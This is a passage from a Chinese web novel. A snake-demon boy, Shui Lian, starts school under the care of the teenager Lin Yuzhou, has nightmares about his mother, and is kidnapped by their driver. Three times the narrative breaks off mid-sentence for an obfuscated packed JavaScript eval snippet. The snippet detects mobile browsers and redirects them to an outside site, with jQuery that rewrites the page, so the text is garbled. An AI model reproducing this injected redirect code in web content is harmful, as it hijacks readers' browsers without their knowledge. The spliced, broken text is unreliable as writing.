“你好吵。”他背好书包,走到蔺雨洲的身边,仰起头嫌弃道。 蔺雨洲一掌盖在他脸上,把他揉得头脑晕乎不见天日:“就你废话多。” 水涟两手一抓,拽着他的两根手指,把那手从自己脸上拽下去,一点点梳理被揉乱的妹妹头,皱皱鼻子不满道:“过分。” 蔺雨洲走没走姿,低头瞧他整理仪容仪表的模样,心情格外畅快。 他一畅快,就想对水涟表达一番慈父的百结柔肠,挂着吃小孩的恐怖笑容,低头问水涟:“包给我,我给你背。” 水涟警惕看他:“你要干嘛。” “给你背包。”蔺雨洲手指勾勾他的肩带,惊了惊:“你放石头了吗?这么重!” 水涟肩膀单薄得和纸一样,居然能撑得起此等知识的重量,不愧是头顶两个发旋的犟种,一声不吭走过楼梯。 “都是课本。”他仰起头和蔺雨洲解释,视线飘到少年背后扁扁的黑包上,暗紫色眼珠干净又困惑:“你不装课本吗?” 蔺雨洲:“……” “拿来给我,背这么重,小心压肩膀长不高。”蔺大少爷恶声恶气抢过他的小猫背包,挂到肩膀上。 他长这么大,自己的书包都背得不三不四,包里什么鸡零狗碎的东西都有,就是没有书,这还是第一次正儿八经背装了书的书包。 给水涟备的包是个奶牛猫外观的,水涟见到的时候不大满意,但意见惨遭蔺雨洲镇压。 如今见到这包挂在蔺雨洲身上,一下子心理平衡,跟在他身后,难得带着轻快的心情去学校。 蔺河生身边有位助理专门负责蔺大少爷的事,早早就在教导处等着,见蔺雨洲亲自陪水涟来,还吓了一跳。 “少爷,你今天怎么来了?”助理吃惊问道。 蔺雨洲口吻很是熟稔:“我管他,我当然要来。” 助理姓黄,跟在蔺河生身边做事好些年,头一回见这大少爷对人和事表现出这么鲜明的兴趣,低下头悄悄瞟了眼乖巧站在蔺雨洲身边的水涟,还是觉得不可思议。 水涟注意到他的视线,抬头回望他,嘴角腼腆上扬一寸,是个社交意义占比高的礼貌性微笑。 黄助理也回他一个温和的笑容:“班级都定好了,直接去教室就行。” 水涟旁听他的安排,听完朝蔺雨洲伸手:“书包还给我。” 蔺雨洲低头:“你就这么迫不及待想和我分开?” 水涟悚然一惊,不知道他抽的哪门子疯,呛了好几声才难以置信反问:“你疯了?” 他那双暗紫色的眼睛里一瞬间闪过无数种复杂的情绪,惊讶震撼难以言喻最后甚至出现一点悲悯。 附小一年级下午三点放学,现在甚至已经一点半了,严格意义上来讲水涟一个半小时后能再见到蔺雨洲,不知道这有什么离别愁绪可以产生。 蔺雨洲出于报复心态给了他一个脑瓜崩,把小猫背包还给他,面无表情道:“跪安吧。” 水涟眼珠子一转一转,面上带上些许犹疑:“你身体不舒服,要看医生。” 黄助理站一旁,就见这眼高于顶的大少爷磨磨后槽牙半晌,不知道是不是仅剩的良心又开始忽然发力,竟然没发脾气,只是重重掐了把水涟的脸颊,又对他留个叮嘱的眼神,转身离开。 背着黑色干瘪背包的背影看起来格外气急败坏。 水涟脸颊被掐得红通通,站在原地看着蔺雨洲慢慢走远,背影彻底消失不见,才转身问黄助理:“请问教室在哪里?” 礼貌乖巧的小孩总归讨人喜欢,黄助理语气放柔,蹲下和水涟身高持平道:“我现在带你去啊。” 水涟点点头。 大部分小孩都讨厌上学,黄助理以为水涟或多或少会有点低落,没想到去教室的这段路上,他还挺高兴,脚步都透出一股轻快。 和上学就如丧考妣的蔺雨洲简直是两个极端。 所有的招呼都提前打好,蔺雨洲怕水涟认生,还特意叮嘱不要搞太突出的自我介绍和新同学欢迎,因此水涟混入班级的过程格外平静顺利。 学校里的什么东西对水涟这个小文盲而言都很新奇,他也像见识到全新世界,正襟危坐听老师上课。 尽管大部分内容对他来讲都听不懂。 除此之外,就是班级同学对他的好奇心实在太过旺盛。 都是七八岁的孩子,根本掩饰不住情绪和好奇,一下课,就围在水涟桌边,叽叽喳喳问问题,像一群热热闹闹的小鸟。 水涟被围在中间,简直无所适从。 他从出生到现在,就没有享受过如此“受欢迎”的时刻,甚至是正面版本。 磕磕绊绊回答了一些问题,水涟忽然听见一道声音突兀响起:“你的眼睛为什么是紫色的?” 这个问题力压“你为什么叫这个名字”“你的头发为什么这么长”等问题,一跃成为大家最想知道的一个,同学们目光灼灼盯着水涟,每一张脸上都写着“说说看吧”。 水涟忽然发不出来声音。 他的视线局促扫过每一张神情不一目的鲜明的面容,苍白的脸颊愈发冰冷,放在课桌下的双手下意识发抖,只想闭上眼睛,缩小身体,变成一条蛇,向山野缩去。 但是身体并没有如愿。某个嚣张的大少爷像是在他身体里下了条禁令,不要随便变身,死死箍住他想逃跑的心。 他双唇嗫嚅,想胡编乱造一些理由,却怎么也开不了口。 上课铃猝不及防打响,没听到答案的同学们迫不得已回到座位,年轻的教师走进教室,拍拍手宣布课程开始。 水涟悬吊的那口气轻轻呼了出去。他沉默地翻开课本,脑子里忽然冒出了一个念头:要是蔺雨洲在就好了。 如果是蔺雨洲,他会说什么呢? — 最后一节课打铃结束,水涟动作迅速地收拾课本,背好书包,在老师带队下去学校门口等家长接送。 他大老远就看见蔺雨洲百无聊赖站在校门口,满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274044|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸都写着无所事事。 接送孩子人群里,他格外出挑,年轻英俊的面孔,鹤立鸡群的身高,又是一身令大附中的校服,一眼就能瞧见他。 水涟抓抓书包肩带,还以为会是蔺家司机来接他。 “你在磨蹭什么。”蔺雨洲手一伸拆走他身上的书包,随意一甩挂在肩膀上,“挨欺负了?” 他生了张不讨喜的嘴巴,讲什么都凶巴巴,水涟不知为何,却无端感觉有点安心。 他伸手拽住蔺雨洲的校服衣角,贴着少年走,摇摇头,发梢跟随摇头的动作摆动,轻轻飘过蔺雨洲的手臂。 蔺雨洲眉梢轻抬:“那你跟被雨淋了一样打蔫干嘛?” 水涟踟蹰许久,才慢吞吞问他:“如果你身上有很不一样的地方,别人问你为什么会这么不一样,你会怎么说啊?” 这一串问句有些长,他结结巴巴分了两次才说完。 问完也不敢抬头,低着脑袋。 蔺雨洲垂眸打量他头顶,心说果然是个窝里横,对着他倒是胆子奇大,一到外头又那么腼腆内向,三棍子打不出个闷屁来。 他屈指敲敲水涟脑壳:“抬头。” 水涟抬头,就见他竖起一个中指,狂妄道:“哪个傻逼敢问我这种弱智问题,我会朝他竖中指让他滚蛋。” 那中指竖得笔直笔直,简直把主人全部的恶意都浇灌在上头。 水涟目瞪口呆,抬头去看蔺雨洲。 后者沐浴在下午金灿灿的日光里,朝他得意洋洋地挑眉,显然很满意自己的答案。 水涟紧急调动自己下午在语文课上学到的新词语,勉强造了个句问他:“没有体面的方法吗?” 他还学会了拼音,能把体面的拼音念给蔺雨洲听。 “你是在和我显摆你新学的知识吗?”蔺雨洲啧了声,“还体面,让他少管闲事就成,你胆子去哪儿了,有点阴招都往我身上使了是吧。” 他这张嘴当真是厉害,被他一打岔,水涟不怎么高兴的心情瞬间消失,立刻体会到后悔是种什么感受。 “没有。”他认真解释,“我下次不会了。” 说完,他又扯扯蔺雨洲衣袖:“阴招是什么意思?” “我给你买本字典你自己查吧。”蔺雨洲五指穿过他的头发,直到发丝被揉成乱七八糟,他才收回手。 水涟没松开抓他衣角的手,换另一只去整理头发,不满道:“你弄乱头发了。” 司机老早就在校门口等着,见他俩走来,匆匆拉开车门。 “我再给你买把梳子,成吗?”蔺雨洲随口敷衍他,上车前他转头往身后看了眼,才把水涟提溜进车里。 他看向司机,漫不经心问道:“保镖是不是太多了?” 往常他出门根本没跟那么多人。 “蔺总吩咐的。”司机毕恭毕敬道。 蔺雨洲只是挑挑眉,没再多问。 “什么保镖?”听见他俩对话的水涟挤到他身边,小声问。 蔺雨洲掐了掐他的鼻尖:“怕你死了安排人保护你。” 蔺河生最近又干什么人神共愤的事情了,乃至于需要安排那么多保镖跟着他? 这个数量反倒瞧着像是监视。 “明明是保护你。”水涟嘀咕道。 蔺雨洲摁下心头的思索:“话少一点。” 8. 第 8 章 水涟不仅是个规矩老实的蛇妖,还是规矩老实的小孩。一般这个年纪的人类小孩,每逢上学日,总要闹腾叽歪一会儿,各种找借口逃避。 但他开始正式上学,反而没有这种情况。 附小早上八点半上课,他今天七点就起床了,自己换好校服洗漱后背着书包出房间,站在蔺雨洲房门前呆了好一会儿。 水涟在敲门和不敲门之间摇摆不定,最后秉着那点属于小孩子的贴心,乖乖一个人去餐厅吃早饭。 这个时间点蔺雨洲通常根本起不来,厌学少年会熬夜到凌晨两三点,然后中午十二点才起床。 等他起床,水涟一天的课都要结束了。 厨房今早备了汤汁小笼包,咬口就爆汁。水涟开始用餐狼吞虎咽,被烫过两回,又仿着蔺雨洲的用餐礼仪,如今吃东西文雅起来,处理汤汁小笼包也显得游刃有余。 他安安静静吃早饭,时不时看眼手表时间。正往嘴里塞最后一只小笼包时,楼上突然传出震天响,紧跟着就是炮仗一样的“蹬蹬蹬”声。 蔺雨洲一身校服穿得歪七八扭,杵在餐桌前像棵茁壮成长的树苗,头顶的树冠凌乱,能搭个鸟窝。 他挡住水涟大半光影,朝小孩兴师问罪:“不等我?” 水涟咽下口中的汤汁,眨眨眼睛:“我以为你要睡觉。” 他比同龄小孩同龄妖魔都要早慧,心思也更敏感。蔺雨洲嘴巴坏,待他却是好的,这些好他记在心里,暂时没法报答,就用自己的方式体贴关怀。 只是这些过分早熟的体贴关怀对蔺雨洲来讲似乎不太受用。蔺大少爷丧个脸瞧他,恶狠狠道:“等我,听到没有?” 枉费他昨晚还坚持早睡,将睡觉时间挪到了十二点以前! 水涟小心放下手中餐具,打量他的神情,摸不准他到底想要干嘛,脑瓜子努力转了两圈,语气颇有点老成的无可奈何:“好吧。” 蔺雨洲:“……” “那我可以敲你房间的门,叫你起床吗?”水涟想起早上没敲响的房门,问他。 蔺雨洲哼哼两声,照例先阴阳怪气:“也不知道之前早上硬掀窗帘强行叫人起床的家伙是谁。” 水涟面无表情回怼他:“你好讨厌。” 蔺雨洲耸耸肩,显然不在乎他的评价。流氓劲儿耍过后,他才慢悠悠给水涟回答:“你来敲就是了。” “你不会骂我吧?”水涟不太放心,多嘴问了句。 “如果你还要讲这种毁坏我们之间和谐关系的话,我现在就会骂你。”蔺雨洲拿起三明治啃了口,含含糊糊道。 水涟素净的眉眼登时挂上不太愉悦的情绪,嘀嘀咕咕嫌弃:“没有和谐过。” 这话不是无的放矢。暴雨初见他俩就互相骂对方神经病,骂完后续相处还是小傻逼小神经混账玩意儿来回称呼,哪有什么和谐的时候。 蔺雨洲给了他一个脑瓜崩。 水涟等他细嚼慢咽吃早饭,从包里拿昨天的数学作业检查,看见最后一道思维拓展题,摸不准是对是错,于是把作业本推到蔺雨洲面前。 蔺雨洲好歹年纪比他大,小学生的作业总该会做。 “干嘛?”蔺雨洲喝了口牛奶,嫌恶地吐吐舌头,皱巴脸问他。 水涟指指拓展题:“这个怎么做?” “……” 蔺雨洲低头瞅题目,看着三角圆形正方形凑出来一道方程式,突然沉默。 “你会吗?”水涟谨慎问道。 蔺雨洲绝对不能承认他一个高一生还会被小学生的数学题难倒,两口并作三口把三明治吃了,背过水涟以及他自己的书包,拿上作业本道:“时间来不及了,边走边说。” 水涟一双短腿跟在他身后捣腾,把满心的狐疑都咽回肚子里,脸上尽可能伪装出一副信任的模样。 他们出行身后一直都跟着保镖,只不过数目比起以往蔺雨洲单独出门,简直翻了倍。 蔺雨洲临时找到借口给自己延长思考小学生数学题的时间,转头吩咐管家:“不用那么多人跟着,昨天也是,太多跟着烦。” 老管家一张口,他就知道要说什么,迅速接上:“老头子吩咐的我也不管,大不了我甩开他们。” “少爷,这次真不能任性。”老管家橘皮一样的老脸写满凄苦,“先生特意嘱咐的。” 他细细打量蔺雨洲不耐烦的神色,轻瞥了水涟一眼,轻而易举换了话头:“您不喜欢,小少爷总要,这年纪小,带上人出门总归保险些。” 蔺雨洲带刺儿的反呛就这么卡在喉咙里,上不去下不来。 老管家一声“小少爷”大抵是把他哄高兴了,于是脸上就显出别扭与松口共存的微妙神情来。 水涟只要出门就一定会抓着蔺雨洲的衣角,如今听见老管家的话,贴着蔺雨洲腿边,静静抬眼观察这两个人之间的争论。 听完,他小声冲蔺雨洲道:“我不用保护。” 蔺雨洲本来还在摇摆,听见他反抗,立马同意:“人多点也好。” 水涟:“……” 好在这回的保镖摸清楚蔺雨洲的脾性,保护的姿态很是隐蔽,不细致观察压根发现不了。 上车的时候蔺雨洲还抓着水涟的作业本,水涟人言微轻,也就只能在作业上发表意见:“你想好了吗?” 蔺雨洲早就趁方才拖延扯皮的时间想清楚思路,闻言颇有些得意开口:“你把三角形和圆形等式看作整体,再进行计算……” 讲完答案和水涟的没有区别。 水涟从他轻快的语气里看见他眉飞色舞,忍不住思考蔺雨洲一个高中生为什么要为他做出小学生数学题那么骄傲。 但他还是体贴的,鼓鼓掌保全了蔺雨洲的颜面,收起作业本感谢他:“谢谢你,你好厉害。” 蔺雨洲如今已经能坦然接受他的感谢与夸赞,摆摆手道:“不客气。” 水涟对他的体贴份额差不多快用尽了,默默转移话题:“还有多久啊。” 蔺雨洲看了眼时间:“十分钟就到。” 他收起手机,手指勾住水涟后脖颈上突然出现的红绳,把掩在衣领里的玉坠子勾了出来:“今天怎么把这个戴上了?我看你不是很喜欢。” 水涟把玉坠子收回衣服里,和他解释:“妈妈留给我的。” 毕竟是水倩留给他的唯一一件东西,水涟昨晚睡前拿着玉坠子看了很久,还是怀着复杂的心情戴在脖子上。 蔺雨洲来了兴趣,想知道水涟和水倩以往的相处细节:“你们以前怎么相处的?” 他问这话的时候少了点调侃,眉眼间多出几分真意。这种问话态度,水涟反而愿意多讲些:“我记得不太清楚。” 小孩记性,能记事也记不了多少。 水涟回想和水倩相处的细节,脑子里就像蒙了层雾,模模糊糊看不清,只有两件小事能拣出来多聊几句:“之前生日,她给我买了蛋糕。” 蔺雨洲没打断他,等他继续说:“是巧克力的,很大,但是很甜。” 水涟伸手比划那个蛋糕的大小,大概就是下午茶点溜溜缝的尺寸。蔺雨洲静静注视他说话的神态,心想下次叫人给他做个等身高的巧克力蛋糕。 “因为是第一次吃,所以记得很清楚。”水涟慢吞吞说,“我感觉,她好像不是很喜欢我。” 他心思敏感,能感觉出来成年人身上表现出来的神态情绪。细节能全部忘记,情感体验是没法忘掉的。 蔺雨洲只是想知道他和水倩怎么相处的,并不想让他太难过,于是揉揉他的脑袋,漫不经心道:“我妈在我很小的时候就去世了。” 水涟抬起头看他,目光沉静认真。蔺雨洲挠挠鼻尖,不太自在躲开他的视线:“周伯说她是为了保护我才死的。” 何温妍去世时蔺雨洲才两岁,压根没记事,很多东西都是他旁敲侧击蔺河生和老管家周伯推敲出来的。 “她很有勇气。”水涟忽然说。 “嗯。”蔺雨洲点点头,不可避免想起蔺河生注视他的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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水涟已经不想重复蔺雨洲好讨厌这种评价:“……那我在哪里等你?” “和老师讲一声,在教室等,饿了包里有吃的。”蔺雨洲一路送他到校门口,才大摇大摆往附中走。 水涟照例静静注视他离开的背影,直到他消失在视野内,才乖乖去教室上课。 小朋友的兴趣和好奇心都是一阵一阵,没有得到及时反馈,隔个一天差不多就忘了干净。 水涟进教室还在想昨天同学问他眼睛为什么是紫色的答案,然而已经没有人对此感兴趣,也没有人围着他问东问西,这让他或多或少松了口气。 他本来就是个话少的性子,只要没有人关注他,他能格外安静融入环境中,仿佛不存在。 放学铃打响时,空旷的教室能听见回声。水涟收起作业本,莫名其妙的饥饿感又冒了上来。 这种突如其来的饥饿感向来难以描述,自从发现能变成蛇后就一直如影随形缠着他,时不时出现刺他一下,而他一无所知。 他趴在桌上,温和光线洒在苍白的颊侧,那双暗紫色的眼瞳缓缓收缩,将视野内所有景物全部扭曲成陌生的色块。 水涟隐隐约约察觉到发生了什么,放缓呼吸去观察那些陌生的色块。 水倩已经模糊的面孔忽地浮现出一丝温度,在温和与狰狞中来回交错,带出厉声诘问。 水涟打了个哆嗦,手背在她的诘问里浮现蛇鳞,他忍着痛,强行去听那些诘问的内容—— “水涟。” 蔺雨洲的声音突然在他耳侧炸开,他睁大眼,所有的色块迅速如潮水般褪去,教室重新出现在眼前。 大少爷拎个包站在教室门口,朝他扬扬下巴:“还坐着干嘛,回家。” 水涟脑子还在发懵,下意识看眼手表,发觉已经四点四十了。 他慢半拍应道:“……哦。” “你就读书两天把脑子读傻了?还敢给我迟到。”蔺雨洲拿走他的书包,没好气道,还没絮叨完,手指就被突然抓住了。 所有的絮叨全部被咽回去,他有些惊讶地看着水涟抓他手指的手,生平第一次感到受宠若惊。 “写作业忘记了。”水涟悄摸打量蔺雨洲的神情,没发觉不快后,握住他食指的力道都大了几分。 “那你还挺喜欢作业的。”蔺雨洲若无其事牵起他的手,“走了,回家。” 9. 第 9 章 “水涟,我怎么同你说的?为什么这点东西都学不会!” 尖利的怒骂在耳侧盘旋,水涟看不清前方景象,色块抖动模糊。他能感觉到女人正掐住他的尾巴,强迫他抬起身躯。 脑子要炸开了。 他痛阈值很高,在蔺洋家中挨毒打都没能让他发出一声哀鸣,然而这场梦境施加的痛楚完全超过他承受的界限,逼得他发出哀嚎。 水倩的声音细针般扎进他脑中:“你是水家的妖,为什么会学不会?” “为什么就是学不会!!!” 要学会什么? 他到底要学会什么! 水涟僵直身子,尖锐的毒牙被硬生生拔断,逼得他只能大张嘴。脊骨一寸寸化作齑粉,令他头皮发麻的声音在身体内部回响。 他无法逃离,只好瞪大双眼,将水倩面孔看清。 那张苍白明艳的脸唯余狰狞的绝望。 水涟猝然睁开双眸,发软的身体不受控制滚下床铺,睡衣下黑色蛇尾仍旧在为梦中刻骨铭心的疼痛发着细细密密的抖。 房间内窗帘紧阖,床头的电子闹钟仍在尽职尽责跳动,微弱闪动的光显出上方的数字,五点四十七。 有隐约鸟鸣透过窗帘传入,落在寂静的空气里,平息水涟粗重的呼吸。 他打着摆子,慢慢游回床上,将贴着胸口的玉坠子从睡衣里勾出来。 自从将水倩给他的玉坠子随身携带后,这些扭曲痛苦的梦境就时常造访。 他年纪尚幼,早慧却是实打实,连着大白天幻听,大晚上做梦后,就意识到不对劲。 水涟躺在床上,沉默地观察玉坠,依旧和刚拿到手一样,没有任何变化,只是沾染了他的气息与体温。 他不是没试过把玉坠子摘下,好好睡一觉。只是摘下后,梦境仍然会出现,但声音画面都成了一摊烂泥。 水涟对自己忘掉的东西有超乎寻常的探索欲,尤其是这些记忆还和他的来处相关。 无法追究清楚的探索欲在不断的梦境里,全都化作了偏执。 他可以被蔺雨洲收养,可以被管家佣人看在蔺雨洲面上叫一声小少爷,但他永远都不会是蔺家人。 来处的未知让他没有办法坦然接受现下生活的一切。 这次梦境又有了新的东西。水倩说他是水家的妖,必须要学会某样东西,会是什么? 水涟沉默地盯着玉坠,去想不知从何而来的水家,想水倩要他学会的“水家的东西”。 他琢磨到平时起床的时间点,察觉身体没有那么虚弱,才收回蛇尾,洗漱完穿校服,提着包去敲蔺雨洲的房间门。 固定三声后,水涟静静等了一会儿,听见房间内传出一声暴躁的“知道了”,紧跟着噼里啪啦仿佛踩地雷,就知道蔺雨洲起来了。 没过几秒,房间门也跟着打开。蔺雨洲套好校服,赤脚往卫生间走:“等我一会儿,包放一边。” 水涟应了一声,把包放旁边,在他卧室里溜达。 蔺雨洲的房间内气味和他的房间不太一样,有种暖烘烘,特别吵闹的味道。 水涟的蛇信吐了吐,收集到不少欢快奔跑的信息。 “好了,去吃饭吧。”蔺雨洲中二期还没过,却没有这个年纪臭屁自恋的喜好,早上向来随便捯饬两下就能出门,在浴室里旋风般洗漱完毕,推着水涟去吃早餐。 只是没想到今日的餐厅内,多出了一个人。 是蔺河生。 蔺河生要管一个庞大商业集团,工作压力极大,基本都在外出差。 这是他自上次说要送走水涟的大半个月后,水涟第二次见到他。 蔺雨洲压根没搭理他,把水涟按在座位上,按照往常习惯,准备怂恿水涟尝尝他没见过的食物。 水涟没给回应。 他低眉顺眼,目光却暗中打量蔺河生。 高大严肃的中年男性,尤其是还明显对他表现出憎恶过,他实在没办法亲近,连装乖问好都做不到。 他很讨厌这种高压的紧张感。 “吃饭还丧个脸,别把气对我们。”蔺雨洲一大早的乐趣被蔺河生破坏,撂了筷子直白骂道。 他有自主意识开始,就在和蔺河生对着干,全然不怵他, 水涟从来不掺和他们父子间的事,又饿得心慌,这个时候只想化身一条小蛇,埋在饭碗里扒饭,假装自己不存在。 “听黄桥说,你这几天都安分去学校了?”蔺河生没搭理他,扫过他身上穿的不怎么规矩的校服,慢条斯理问道。 蔺雨洲这几天老实上课,身上那股泼猴劲儿都叫高中知识这座五指山全镇压了,再坚持抓耳挠腮给水涟辅导功课,脑子一时间竟也开悟启智一番。 见蔺河生慢条斯理的模样,没和以前一样激动到当场上梁山,反而按下躁意,冷笑道:“那是自然,你以为人人都像你,孩子生出来丢一边就当死了?” 水涟整张脸快埋进饭碗里,听蔺家父子俩夹枪带棒的谈话,浑身鳞片都要炸开。 蔺河生意味不明哼笑一声:“你要是觉得现在的生活不好,那就滚出去。” 蔺雨洲饭碗一推,冷脸道:“滚就滚,谁稀罕你?水涟,走。” 蔺河生不见上回和他吵架的气急败坏,瞥了眼埋头苦吃的水涟,缓缓开口:“你滚,他乐意跟着你么?” 餐桌上迅速安静下来。 水涟把含在嘴里的虾饺重重咽下去,迟疑抬头,暗紫色的眼珠从蔺河生脸上慢慢转移到蔺雨洲的脸上。 蔺雨洲的脸上明晃晃写着“你要是不和我走我绝对会揍你你这个小傻逼孩子”,表达的情绪十分多姿多彩。 他甚至配合脸上神情,刻意扭曲了蔺河生问话的潜在含义:“时间不早了,小心迟到。” 水涟在肚子饿和蔺雨洲之间艰难抉择一番,鼻子轻轻动动,嗅嗅空气中的气息,桌下的双腿都不知何时变成蛇尾,尾尖勾勾。 他把空气里的信息读取干净,才慢吞吞给出回答:“我的早餐还没吃完。” 这是他新学的技能。蔺河生并没有明确要把蔺雨洲赶出去的情绪,问到他,比起要个回答,更像是给蔺雨洲一点敷衍回应,他有重要的事情要讲。 蔺河生鼻腔内发出声带讽意的哼笑,视线一寸寸从水涟脸上扫过,半晌后,才慢慢收回视线。 他像是生平第一次从蔺雨洲身上找回场子,端起架子训道:“坐着好好吃饭。” 水涟抓紧筷子,状若无事地低着头。 “水涟你什么意思?”蔺雨洲难以置信,少爷脾气当场发作,幼稚鬼似的抓走水涟的筷子,居高临下质问他。 水涟面无表情看他:“你答应过我,会让我吃饱饭。” 蔺雨洲:“……” 水涟从小到大就没吃过一顿饱饭,这才饿出干巴豆芽菜的身形来。被蔺雨洲领回蔺家大半个月,脸颊终于养出点肉。 蔺雨洲之前和他保证过能让他吃饱饭,今早这顿不满足,怕是打自己脸。 他隔着空气对水涟张牙舞爪,才悻悻把筷子还给小孩,自个儿坐一边啃三明治生闷气。 水涟吃早餐的动作一慢再慢,蛇尾有些不知所措地晃了晃,小心翼翼往蔺雨洲腿边探,预备暗示蔺雨洲他并不是故意不选他的。 只是蔺河生突然开口,吓得他迫不得已收回尾巴,重新变回双腿。 “你姥姥昨晚临时住院,今天请假去看看她,老人家念着你。” 蔺雨洲没空生闷气,猛地坐直:“为什么住院了?昨晚什么时候的事情,舅妈他们怎么不和我说?” “老太太不想叫你担心,知道你有好好读书的意思,当然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274046|166660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍得打扰。”蔺河生刺了他一句,却再次瞟了水涟一眼。 水涟将最后一口早餐收尾,乖巧道:“我今天自己去上学。” “你自己?”蔺雨洲把这三个字琢磨了一下,而后斩钉截铁:“请假待家里自学一天。” “我不要。”水涟不好陪他探望老人,被留在家里毫无意义,而且还会缺勤。 他对期末的三好学生评奖很感兴趣,并不想因为毫不正当的理由请假缺课一整天。 “反对无效。”蔺雨洲十足霸道,语气已经开始不耐烦。 水涟做了一晚上噩梦,精神本来就不怎么好,还要和他争辩能不能去学校的事,脑子都要炸了:“你不能这么……这么……” 他“这么”半天,绞尽脑汁,忘记那个词语是什么,还是蔺河生在一边替他补充:“霸道。” 水涟卡一半天的那个词就这么被人代讲,一口气松了出去。 “我霸道,你第一天知道?”蔺雨洲反问他,“你是我捡回来的,当然只能听我的。” 他目光阴沉沉看着水涟,那双暗紫色眼瞳却毫不怯场瞪了回去,一瞬间冒出野兽般竖瞳来做威胁。 “蔺雨洲,你不可能真把他当你操控的洋娃娃,一直捧在手里。”蔺河生对他俩小孩子似的闹别扭不感兴趣,一针见血道,“别太幼稚了。” 水涟背起沉重的书包,不大开心地跳下餐桌,定定看了眼阴晴不定的蔺雨洲,连道别都不愿意说了。 蔺雨洲咬咬牙,阴森森道:“水涟,你有本事永远别回来。” 水涟脚步一顿,赌气似的开口:“不回来就不回来。” 没有蔺雨洲陪同的上学日其实没有什么区别。 水涟坐在车内,抓紧书包肩带,却忍不住想蔺雨洲的话里,真心实意的含量占比多少。 他思来想去大半天,边是沮丧边是赌气地想,今天不要和蔺雨洲说话了。 司机没有因为蔺雨洲不在就怠慢他,尽职尽责送他到学校上课。 水涟在校门口下车,下意识抬头去看附中的校门口。 来往穿着高中部校服的年轻男生,没有蔺雨洲。 “水涟,你怎么还站在门口,去教室呀。”今天校门口值班教师是他的班主任,见他还傻傻站在门口,提醒道。 水涟点点头,又看了眼附中门口,才安安静静往教室去了。 他这一天的课都有些心不在焉,课上走神好几回,好在知识左耳进,就锁住了右耳通道,老师叫他回答问题也能答上来。 下午三点半放学,水涟迟迟不收拾书包,被班主任问“今天也要等哥哥放学吗”,才想起来蔺雨洲今天没来学校。 他摇摇头,回道:“今天哥哥没来学校,司机来接我。” “那快点理书包,排队去校门口。”班主任道。 司机已经在校门口等着,水涟低头踢脚下石子,不知道要不要回蔺家。 他还是没有琢磨出来蔺雨洲是不是真的不想要他回去。 水涟能轻而易举读出蔺河生的情绪和想法,但他读不出来蔺雨洲的。 “小少爷,怎么还不上车?”司机惊讶看着打转的水涟,温声道:“大少爷还在等你回家呢。” 水涟眼睛亮了亮,不确定似的问道:“他在等我吗?” 司机点点头,替他拉开车门。 车厢内黑漆漆,散发熟悉的气味。水涟有些别扭地在原地又转了转,最后和班主任道别,在司机固定的温和笑意里,坐上了车。 “咔哒。” 车门上锁,水涟还没坐稳,鼻端便传来一股异样的甜味。 他不受控制闭上眼,即将暗下模糊的视野里,看见司机带着诡异纹样的朦胧面颊。 是蛇鳞。 这是昏迷前,水涟脑中唯一闪过的念头。 10. 第 10 章 “没逮错?” “就是这小崽子!前段时日搜寻队在人类的学校感知到水倩那娘们儿残留的气息,一路追才发现点踪迹,那娘们居然把这小子的记忆气息全掩藏了!” 絮语像夏季的蚊子,找不着踪迹,扰人的声响却从四面八方涌进耳中,水涟眉间紧皱,奋力撑开一点眼皮。 他头晕目眩,周围的景象模模糊糊挤进视野内,家具被视觉附上一圈毛边,楼梯扭曲成马赛克,晃动的人影儿来回漂浮,看不清长相。 那些絮语仍然没有停:“找了六七年,总算找到了……终于能给家主一个交代。” “家主真要亲自来?” “废话,家主这些年已经完全疯魔,这次终于逮住,我看根本等不及送回去!” 勉强分辨出周遭环境的水涟缓缓闭上眼,尽可能维持呼吸声无异状。 绑走他的司机不知给他用了什么,眩晕实在难以忍受,叫他有些恶心。 然而当下他也无暇顾及身体的不适,顶着反胃的眩晕感分辨到底发生了什么。 绑走他的司机是赵叔,他和蔺雨洲这段时间上学,全是他开车接送,为人温和,他怎么没想到赵叔和他一样,也是条蛇。 难道像他这样的“人”还有很多么? 方才那些飘入耳中的絮语,又出现了诸多他无法理解的信息。 水涟咽回清醒后涌上喉间的干呕,想起断续的梦境,水倩的身份与诘问,眩晕掺着疼痛,几乎将他脑浆都搅匀。 现下他已经能完全确认自己出问题的记忆是水倩的手笔。 他记忆力不差,见过的人与事很难忘记,水倩陪伴他的时日并不短,待他再不好那也是他的母亲,他不可能在水倩去世没多久就将她的容貌忘得一干二净。 甚至一切相处细节都没有留下。 他原先只是以为水倩去世太急太苦,这件事给他带来太大冲击,后来又在蔺洋家中吃不饱饭,疲于应对继兄弟层出不穷的阴招,没有余裕供他回忆。 后面玉坠子带来的困惑,让他将疑心起到水倩身上。 如今听那些絮语,彻底证实他的猜测。 水倩掩藏他的记忆,是为了躲避这些“人”和他们口中的“家主”,为什么? 水涟躺在原地没动,像条死蛇一样。他被无数谜团包裹,深陷未知的险境,几乎是揠苗助长般强迫自己动脑解决问题。 就像以往无数次那样。没遇到蔺雨洲之前,他孤身也能应对一切不怀好意。 我能做到,我肯定做到。水涟在心里不断暗示自己。 我必须做到。 